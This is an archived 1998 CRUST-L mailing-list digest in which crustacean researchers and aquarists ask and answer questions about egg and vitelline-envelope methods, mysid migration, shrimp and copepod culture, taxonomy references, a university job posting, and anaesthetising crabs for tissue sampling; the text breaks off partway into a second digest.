***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:18:40 1998 Date: Thu, 12 Mar 1998 09:33:39 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #124 crust-l-digest Thursday, 12 March 1998 Volume 01 : Number 124 CRUST-L: removing eggs Re: CRUST-L: vitelline envelope CRUST-L: seeking certain mysids CRUST-L: mysidopsis bahia - mass culture CRUST-L: Acetes sp culture & reproduction info needed CRUST-L: Onisimus turgidus CRUST-L: Phylogeny of Peracarida CRUST-L: Jobs [none] CRUST-L: e-mail / IRD CRUST-L: Hello CRUST-L: shrimp farming ponds CRUST-L: effective methods to kill a crab CRUST-L: growing freshwater copepods CRUST-L: Acetes sp. culture ---------------------------------------------------------------------- From: LUIS FERNANDEZ Date: Mon, 9 Mar 1998 16:53:25 -0100 (GMT) Subject: CRUST-L: removing eggs HI EVERYBODY! We're studing egg biochemical composition (lipids, fatty acids,...)in Maja squinado. Is there any special methodology for quick and easy removal of fresh eggs from the pleopods without causing damage to them and with the minimum quantity of setae? Thanks - ---------------------------------------------------- Luis Fernandez Dpto. Bioloxia Animal, Bioloxia Vexetal e Ecoloxia Universidade da Coru=F1a Campus da Zapateira s/n 15071-A Coru=F1a Spain Phone: +34-81-167000 Fax: +34-81-167065 e-mail: Luisfdez@udc.es - ---------------------------------------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: edupre@SOCOMPA.CECUN.UCN.CL (Mag. Enrique Dupre M.) Date: Mon, 9 Mar 1998 13:27:59 -0300 Subject: Re: CRUST-L: vitelline envelope Abdu Uri wrote: >Does someone know a method for seperating the vitelline envelope from the >oocytes/eggs of crustacean?. I want to study the polypeptide profile of >this envelope. >Thank you for your quick answer. I am working with a freshwater >crayfish, do you think that a ca free saline of my crayfish or >freshwater will do it?. About centrifugation ,in waht contiontions , >how much rpm and for how long and in what solution it >should be? and what i will get all the oocyte in the pellet or the yolk >material in the pellet - ---------------------------------------------------------------------------- - ---------------------------------- Dear Abdu: The general protocole that i sent you is for marine shrimp. I have not experience with freshwater crayfish. Just in case, in general (for rock shrip Rhynchocinetes typus) we utilize Ca-free sea water with EGTA( see next paragraph) during 15-30 min. until centrifugation must be slow. Much better if you have a manual centrifuge. The time is between 15 to 30 second. The oocyte were incubated 15- 30 min until the envelope come out appearing soft and ondulating. We recovered the envelopes with a pasteur pipete and washed in destiled water during 5 hours and centrifugated during 10 min at 500 x g , later were solubilized to run in SDS-PAGE. If you need only to renove the envelope it can use pronase, tripsine, quimo-tripsin or serine-protease. All this protease were founded in the spermatozoa of invertebrate (as proteasa-like) that permit the penetration trought the viteline coat. The artificial Ca free-sea water we utilized was: NaCl 0.4 M, KCl 9 mM, MgCl2 23 mM, MgSO4 25 mM, NaHCO3 2 mM; and EGTA 10 mM were added. . If you need to determine the substrate present in the vitelline coat you can use inhitors of protease (SBTI=soybeen tripsin inhibitor or PMSF= Phenilmetasulphonil fluride or pAB=p-aminobenzamide) before to realize in vitro fertilization. Good luck M.Sc. Enrique Dupre Lab. Biol. de la Reprod. Fac. Ciencias del Mar Universidad Catolica del Norte, Coquimbo, Chile Fax: 5651-311287 E-Mail: edupre@socompa.cecun.ucn.cl =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Keli Kringel Date: Mon, 9 Mar 1998 11:28:05 -0800 (PST) Subject: CRUST-L: seeking certain mysids Hi crust-lers, I am taking a sediment transport course as a required part of my graduate studies at the University of Washington. An assigment is to write a proposal to do research which is related to both sediment transport and our own research. I study nocturnal vertical migration of hyperbenthic mysids. Briefly, here is how I'll make the connection: In many studies it is reported that a varying percentage of the population remains near the bottom during the night, appearing to not migrate, with little more known about it than that. It is also known that mysids are typically omnivores; many species of mysids feed on "detritus", and has been reported (although I want to look into this more) that the pelagic (hyperbenthic) species' food must be in suspension to be available to them. So, I am proposing to look at whether there is any correlation between the percentage of a population remaining near the bottom over different nights and the concentration of suspended sediments (includes detritus) in the near bottom layer (lower 1-2 m) on those nights. An ideal environment for this study would be one in which the concentration of near bottom suspended sediments fluctuates on time scales of days or longer (i.e. storm driven environments) rather than within one night (as in coastal environments where tidal currents cause most of the suspension of sed.s). This is because I don't want to assume instantaneous responses of the mysids to these sediments during the night. Environments such as the continental shelf of Washington, Oregon, and California, have that pattern of sediment suspension: during higher winds or storms sed.s are resuspended from the bottom and transported, whereas tidal currents have a smaller effect on transport. (My studies of mysids have been in West Sound Orcas Island, WA, a relatively quiet bay in which little transport occurs and occurs only during peak tidal currents). So, I am seeking a location where hyperbenthic populations of mysids migrate regularly from the bottom off the coast of WA, OR, or CA at depths between say 20 to 40 m. (I am most familiar with Neomysis kadiakensis, however, the study doesn't need to include them.) If anyone is aware of any studies or reports of migratory behavior in hyperbenthic mysids on the shelf of OR, WA, or CA within about 20-40 m depth, I would really appreciate the information. (I would also welcome any general comments on this proposal idea.) Thanks very much in advance! Keli Kringel UW School of Oceanography =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: paul Date: Tue, 10 Mar 1998 21:23:06 +0800 Subject: CRUST-L: mysidopsis bahia - mass culture Hi all, Just wondering if anyone has developed or is aware of some techniques for the large scale culture of mysidopsis bahia? Thanks & regards Paul Groves Head Aquarist Underwater World - Perth - Australia Founder MASWA - Marine Aquarists Society of WA Email paul@nw.com.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: paul Date: Tue, 10 Mar 1998 21:25:12 +0800 Subject: CRUST-L: Acetes sp culture & reproduction info needed Does anyone have or know where I can find information about Acetes sp. shrimp & their breeding morphology? Any info on captive culture would also be great. Thanks & regards Paul Groves Head Aquarist Underwater World - Perth - Australia Founder MASWA - Marine Aquarists Society of WA Email paul@nw.com.au =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Wim Vader" Date: Tue, 10 Mar 1998 14:28:08 +0100 Subject: CRUST-L: Onisimus turgidus In connection with an ongoing revision of the genus Onisimus (Boeckosimus plus Pseudalibrotus, Amphipoda Lysianassoidea) we should very much like to see material of the species O. normani G.O.Sars and O. turgidus G.O.Sars. The mouthparts of turgidus have never been described, and we now find that in the normani-turgidus group there are at least 3, and probably four species, all possibly associates of sea anemones. If any of you have material of these species, we should very much appreciate hearing about it, and if possible, borrowing material. We are also interested in other Onisimus species, esp O. caricus, O. sibiricus and O. simus, as well as the two Caspian species. Many thanks in advance for your help in this matter. Wim Vader, Troms=F8 Museum 9037 Tro,s=F8, Norway wim@imv.uit.no =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Jansen, Teunis Mikael" Date: Tue, 10 Mar 1998 15:31:00 +0100 Subject: CRUST-L: Phylogeny of Peracarida Dear Crustlers Here is a coupple of questions that I hope someone can answar. - -Is anything else than Bousfield & Shih (1994), Wagner (1994) and Pires (1987) published about the phylogenetic relationships of Amphipoda to other Malacostracan (Peracaridan) groups since Schram 1986 ? - -Who erected Edriophthalma, and when ? I would be pleased to get in touch with people, that are currently working with this subject (e.g. using molecular data). Best regards & thanks Teunis Jansen Zoological Museum, University of Copenhagen E-mail: TJansen@ZMUC.KU.DK =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "V.A.Reid" Date: Wed, 11 Mar 1998 13:42:13 +0000 (GMT) Subject: CRUST-L: Jobs POSITIONS AVAILABLE =20 Postdoctoral Research Assistant & Research Technician=20 Molecular Ecology and Fisheries Genetics Laboratory=20 Department of Biological Sciences,=20 University of Hull =20 Measuring genetic diversity in wild populations: =20 molecular and adaptive genetic variation=20 in Trinidadian guppies (Poecilia reticulata) =20 NERC funded collaboration between the Department of=20 Biological Sciences, Hull University (G.R.Carvalho, L.=20 Hauser, P. Shaw) and the School of Environmental and=20 Evolutionary Sciences at St. Andrews (A.E. Magurran) =20 Background=20 A fundamental and yet unresolved problem in evolutionary=20 biology is the extent to which variability in molecular=20 genetic markers such as allozyme and DNA polymorphisms can=20 be used to estimate genetic variation in ecologically=20 significant traits. This problem is emphasised by=20 geneticists and ecologists alike, not only because=20 elucidation of their relationship would facilitate=20 powerful insights into the dynamics of stochastic and=20 deterministic microevolutionary forces, but also because=20 the use of molecular markers underpins many current =20 practices in biodiversity conservation and management. The=20 issue is thus not only of key relevance to our=20 understanding of basic biological processes that determine=20 species distribution and abundance, but also to our=20 attempts to ameliorate the impact of man on the natural=20 world. Here, we utilise ecologically and genetically well=20 characterised wild populations of the Trinidadian guppy, =20 Poecilia reticulata, to examine the relationships between=20 molecular genetic diversity and genetic variability in=20 several readily measured ecologically significant traits.=20 Job descriptions=20 The Postdoctoral Research Assistant would be expected to=20 set-up and organise parental half-sib breeding experiments,=20 collect morphological and life-history data and perform=20 some behavioural experiments. In addition, he/she will=20 carry out molecular genetic analysis using a range of=20 techniques (allozymes, mtDNA RFLPs, microsatellites).=20 Candidates should hold a PhD in a relevant biological=20 subject, and should have experience in fish husbandry /=20 breeding, and an interest in the evolution of adaptive=20 genetic variation. Knowledge of quantitative genetics=20 (pedigree analyses) and other statistical methods,=20 including the relevant software, and an interest in the=20 evolution of adaptive traits and behavioural ecology would=20 be essential. Experience in molecular methods would be an=20 advantage, though training can be provided. The successful=20 candidate will work within a large and active research=20 group (Molecular Ecology and Fisheries Genetics=20 Laboratory), and will have the support of a Research=20 Technician (see below) dedicated to the project. The=20 appointment would be for 3 years starting June 1998 on a=20 salary of up to =A3 16,927 (Grade 1A.6), depending on=20 experience. =20 The Research Technician will be expected to oversee fish=20 breeding, to collect morphological data and to conduct some=20 of the experiments. Experience in fish husbandry and=20 breeding, and a keen interest in the scientific=20 investigation of fish ecology and evolution, are therefore=20 essential for this position. As part of a large research=20 group (Molecular Ecology and Fisheries Genetics=20 Laboratory), the successful candidate is expected to work=20 in a team and to collaborate closely with the Postdoctoral=20 Research Assistant of the project. Depending on=20 qualifications, it may be possible to register for an MPhil=20 or PhD. The appointment would be for 3 years starting June=20 1998 on a salary of up to =A3 11,695 (Grade C.13), depending=20 on experience and qualifications. =20 Applications and further details=20 Applications by cover letter and CV, including details of=20 two referees, should be sent to the Personnel Officer,=20 Faculty Office, Faculty of Science and the Environment, The=20 University of Hull, Hull HU6 7RX. =20 For further information on the Molecular Ecology and=20 Fisheries Genetics Laboratory, the project and the=20 positions consult the Group's homepage=20 (http://www.hull.ac.uk/molecol) =20 or contact =20 Prof Gary Carvalho (Tel: 01482 465540, Fax: 01482 465458,=20 e-mail: g.r.carvalho@biosci.hull.ac.uk), Dr Lorenz Hauser (01482 465542,=20 e-mail: l.hauser@biosci.hull.ac.uk) Dr Paul Shaw (01482 465542,=20 e-mail: p.w.shaw@biosci.hull.ac.uk). Closing date for applications is the 3 April 1998 Dr. Lorenz Hauser Molecular Ecology and Fisheries Genetics Lab Dept. of Biological Sciences, University of Hull, Hull HU6 7RX Tel: (01482) 465542 (office), 465536 (lab); Fax: (01482) 465458 http://www.hull.ac.uk/molecol - ----------------------=20 V.A.Reid V.A.Reid@biosci.hull.ac.uk =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Wed, 11 Mar 1998 09:03:29 -0500 (EST) Subject: [none] Please respond to the list or Wolf Kobusch and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "Wulf Kobusch" To: TJansen@ZMUC.KU.DK Subject: Re: CRUST-L: Phylogeny of Peracarida CC: CRUST-L@VIMS.EDU Priority: normal Dear Teunis Mikael Jansen, You asked for "Edriophthalma": In former times it was usual for crustacean systematics to base on characters like "stalked eyes" or "not stalked eyes". Actually it was Lamarck who separated the taxon Crustacea in "Crustac=E9s P=E9diocles" and "Crustac=E9s Sessiliocles". In his "Histoire Naturelle des Crustac=E9s", Milne Edwards (1834) agrees wit Lamarck, but gives new names for the above mentioned taxa. He was the one you asked for, who first used the names "Podophtalmiens" and "Edriophtalmiens". This basal work from Milne Edwards is followed by Bell, (1844-1852) with: "A History of the British Stalked-Eye Crustacea", and then Bate & Westwood publish "A History of the British Sessile-Eyed Crustacea" in 1868. See: BATE, C. S.; WESTWOOD, J. O. (1868): A History of the British sessile-eyed Crustacea. John van der Voorst, London: 1-537. BELL, T. (1844-1852): A History of the British stalk-eyed Crustacea. John van der Voorst, London: 1-386. BOWMAN, T. E. (1984): Stalking the wild crustacean: The significance of sessile and stalked eyes in phylogeny. Journal of Crustacean Biology 4 (1): 7-11. MAYRAT, A.; SAINT LAURENT, M. (1996): Consid=E9rations sur la classe des Malacostrac=E9s. Trait=E9 de Zoologie. In: GRASS=C9, PIERRE-P. (Ed): Trait= =E9 de Zoologie. Vol. VII: Crustac=E9s, Fascicule 2: G=E9n=E9ralit=E9s (suite)= et Syst=E9matique; Sous la direction de Jaques Forest. Masson & Cie Editeurs, Paris: 841-863. MILNE EDWARDS, HENRI (1834): Histoire naturelle des Crustac=E9s. Vol. 1. Libraire Encyclop=E9dique de Roret, Paris: 1-468. Best regards Wulf *********************************************************** Wulf Kobusch Ruhr Universitaet Bochum Lehrstuhl fuer Spezielle Zoologie Gebaeude ND 05 / 776 Universitaetsstrasse 150 44801 Bochum GERMANY phone: +49/(0)234-700-5577 or -4563 fax: +49/(0)234-7094-114 e-mail: wulf.c.kobusch@ruhr-uni-bochum.de *********************************************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Jose A. Cuesta" Date: Wed, 11 Mar 1998 17:12:50 +0000 Subject: CRUST-L: e-mail / IRD Dear colleagues, Does anybody know the e-mail address of the Editor of Invertebrate Reproduction & Development? Thanks in advance, Jose *********************************** Jose A. Cuesta Dept. de Ecologia Fac. de Biologia Apdo. 1095, 41080 Sevilla Spain mariscal@cica.es *********************************** =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Willie.Douglas@stn.siemens.com Date: Wed, 11 Mar 1998 14:07:27 -0500 Subject: CRUST-L: Hello I'm a new subscriber to this mailing list. I just wanted to say hello, and ask if there are any members currently farming crawfish? I am looking into doing some crawfish farming and I was hunting info on it. I am located in central Florida. I was looking for what ones are best to farm and what is all involved. Like license's what kinda feed would be involved. For best results how deep should the ponds be, how wide, how should they be airiated? Do they need aireation? If anyone has had experience with this I would appreciate any info given. Thanks Willie =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Tiziano Scovacricchi" Date: Thu, 12 Mar 1998 14:17:39 +0100 Subject: CRUST-L: shrimp farming ponds Messaggio a piy sezioni in formato MIME. - ------=_NextPart_000_0016_01BD4DC1.9D503C30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Dear friends, does anybody know some very well-done handbook on shrimp farming ponds ? I am particularly interested in size, shape, construction information = about ponds to be utilized for Penaeus japonicus, P. semisulcatus and = perhaps P. monodon farming, both in the Venice area and in Africa = (Sudan, Tanzania). I know literature on this matter is quite abundant but what I am looking = for is a clear, practical manual to build up ponds/banks/inflow and = outflow devices as weel, easily, rapidly and good as possible. Thank you to everybody for helping. Tiziano Scovacricchi CNR Istituto di Biologia del Mare Riva Sette Martiri, 1364/a 30122 Venezia Italia tel 00-39-(0)41-520.76.22 fax 00-39-(0)41-520.41.26 e-mail tisco@ibm.ve.cnr.it - ------=_NextPart_000_0016_01BD4DC1.9D503C30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
    Dear friends,
     
    does anybody know some very = well-done handbook=20 on shrimp farming ponds ?
    I am particularly interested in = size, shape,=20 construction information about ponds to be utilized for Penaeus = japonicus, P.=20 semisulcatus and perhaps P. monodon farming, both in the Venice area and = in=20 Africa (Sudan, Tanzania).
    I know literature on this matter is = quite=20 abundant but what I am looking for is a clear, practical manual to build = up=20 ponds/banks/inflow and outflow devices as weel, easily, rapidly and good = as=20 possible.
    Thank you to everybody for = helping.
     
    Tiziano Scovacricchi
     
    CNR
    Istituto di Biologia del = Mare
    Riva Sette Martiri, = 1364/a
    30122 Venezia
    Italia
    tel = 00-39-(0)41-520.76.22
    fax=20 00-39-(0)41-520.41.26
    e-mail tisco@ibm.ve.cnr.it=
    - ------=_NextPart_000_0016_01BD4DC1.9D503C30-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 12 Mar 1998 09:30:38 -0500 (EST) Subject: CRUST-L: effective methods to kill a crab Please respond to Zhao Jianhong, and not to me. THanks, Jeff - ---------- Forwarded message ---------- Date: Thu, 12 Mar 1998 14:42:53 +0800 (SST) From: Zhao Jianhong To: crust-l@vims.edu Subject: any effective method to kill the crab to take tissue samples for biochemical analysis Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII All crustlers: I am doing ammonia toxicology in the freshwater crab, Eriocheir sinensis, and want to take tissue (muscle, liver, and gills) samples for some biochemical analysis. Then the crab has to be anaesthesized and killed before sampling. At first, i applied MS-222 to anaesthesize the crabs, but I found that the crab is un-sensitive to this anaesthesia even at a 0.3% (w/v) concentration. Now my questions is: 1. Can anyone suggest the appropriate concentration of MS-222 for freshwater crabs? 2. Is it an accepted method to fast freeze the whole crab in liquid N2 and then to take the tissue samples? If you have any suggestion, please respond this mail as soon as possible. Thanks a lot. J.H. Zhao School of Biological Sciences National University of Singapore Lower Kent Ridge Road Singapore 119260 Fax: 65-7792486 email: scip5001@leonis.nus.edu.sg =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 12 Mar 1998 09:27:43 -0500 (EST) Subject: CRUST-L: growing freshwater copepods Please respond to Carol Lee and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: Carol Eunmi Lee To: Crustacean List Subject: Growing freshwater copepods Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hi Everyone, I was growing freshwater populations of the copepod Eurytemora affinis in Seattle using Lake Washington water. Now that I'm at Scripps Institution of Oceanography (in the middle of a desert), I have ample access to seawater, but not to fresh. The copepods I'm growing can't live in tap water. I thought about using spring water from grocery store. I called Sigma, and they don't seem to sell "Instant Lake" the way they sell "Instant Ocean." My question to those of you who culture freshwater copepods: 1) Is there a culture medium available that simulates lake water? 2) Has anyone tried spring water from the grocery, and which brands are preferable? Thanks! Carol __________________________________________________________________________ Carol Eunmi Lee Marine Biology Research Division 0202 Scripps Institution of Oceanography University of California, San Diego La Jolla, CA 92093-0202 carolee@complex.ucsd.edu Lab: 619) 534-7827 Fax: 619) 534-7313 Home: 619) 459-4767 __________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Thu, 12 Mar 1998 09:29:14 -0500 (EST) Subject: CRUST-L: Acetes sp. culture Please respond to Vu Do Quynh and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Comments: Authenticated sender is From: "Vu Do Quynh" Organization: Sardi-Can Tho University To: crust-l@VIMS.EDU, paul Date: Wed, 5 Aug 1998 08:23:36 +0700 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: CRUST-L: Acetes sp culture & reproduction info needed Reply-to: vdquynh@ctu.edu.vn X-Confirm-Reading-To: vdquynh@ctu.edu.vn X-pmrqc: 1 Priority: normal In-reply-to: <1.5.4.32.19980310132512.006c31b4@nw.com.au> X-mailer: Pegasus Mail for Win32 (v2.54) X-MDMail-Server: MDaemon v2.5 rB b2 32-R X-MDaemon-Deliver-To: crust-l@VIMS.EDU > Does anyone have or know where I can find information about Acetes sp. > shrimp & their breeding morphology? Any info on captive culture would also > be great. > > Thanks & regards > > Paul Groves > Head Aquarist > Underwater World - Perth - Australia > Founder MASWA - Marine Aquarists Society of WA > Email paul@nw.com.au There is a monograph on the taxonomy and biology of Acetes shrimps by Makoto OMORI published in the Seventies. I don't have the exact reference under the hand, but I could send it later (in about 2 weeks) as I am not in my office. Acetes are shallow epipelagic shrimps often found in large school aggregations ins tropical estuaries, mangrove areas. On problem for culturing theminhigh density might be their long antennae. When you scoop them the enatennae tends to get entangled together. I have never attempted to culture them but I would be very interested to know about any attempts and subsequent results. Best regards Vu Do Quynh Director Shrimp-Artemia R&D Institute Can Tho University, Viet Nam Tel: +84-71-834307; Fax: +84-71-830323 URL: http://allserv.rug.ac.be/~booghe/asrdc/ Email: quynh_vudo@bigfoot.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #124 ***************************** From owner-crust-l-digest@vims.eduFri Mar 20 12:46:11 1998 Date: Mon, 16 Mar 1998 13:13:42 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #125 crust-l-digest Monday, 16 March 1998 Volume 01 : Number 125 [none] CRUST-L: What is in the market, and where did they come from? CRUST-L: accents marks in email CRUST-L: effective methods to kill a crab CRUST-L: Effective methods to kill a crab CRUST-L: Re: your mail CRUST-L: freshwater crustacean exhibit CRUST-L: Do the land crabs hear? Re: CRUST-L: Acetes sp. culture Re: CRUST-L: growing freshwater copepods CRUST-L: Recent Book Penaeidea CRUST-L: Re: How to retrieve old crust-l messages? CRUST-L: effective method killing E. sinensis CRUST-L: Marine life CRUST-L: Bacescu 1967 - Hansenomysis CRUST-L: nytex gauze Re: CRUST-L: nytex gauze ---------------------------------------------------------------------- From: Jeffrey Shields Date: Thu, 12 Mar 1998 09:31:26 -0500 (EST) Subject: [none] Please respond to Wulf Kobusch and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Received: from sunu450.rz.ruhr-uni-bochum.de (sunu450.rz.ruhr-uni-bochum.de [134.147.222.33]) by back.vims.edu (8.6.12/) with SMTP id EAA01350 for ; Thu, 12 Mar 1998 04:44:21 -0500 Message-Id: <199803120944.EAA01350@back.vims.edu> Received: (qmail 13065 invoked from network); 12 Mar 1998 08:35:57 -0000 Received: from dialppp-3-110.rz.ruhr-uni-bochum.de (HELO wulf.devel.ruhr-uni-bochum.de) (134.147.3.110) by mailhost.rz.ruhr-uni-bochum.de with SMTP; 12 Mar 1998 08:35:57 -0000 Comments: Authenticated sender is From: "Wulf Kobusch" To: CRUST-L@VIMS.EDU Date: Thu, 12 Mar 1998 09:39:53 +0000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Edriophthalma & French-writing CC: 333100019177-001@t-online.de Priority: normal X-mailer: Pegasus Mail for Win32 (v2.54) Hi all, sorry for raping the French language in my last message, the writing was correct (I hope so), but what you got was a bit chaotic... What can I do do to urge my "Pegasus-E-Mail" to translate all French accent marks in the correct way? Is there a possibility that you can get it in correct French writing or do I have to leave out any accent mark (which looks rather stupid)? Best regards to all of you Wulf *************************************************** Wulf Kobusch Ruhr Universitaet Bochum Spezielle Zoologie, ND 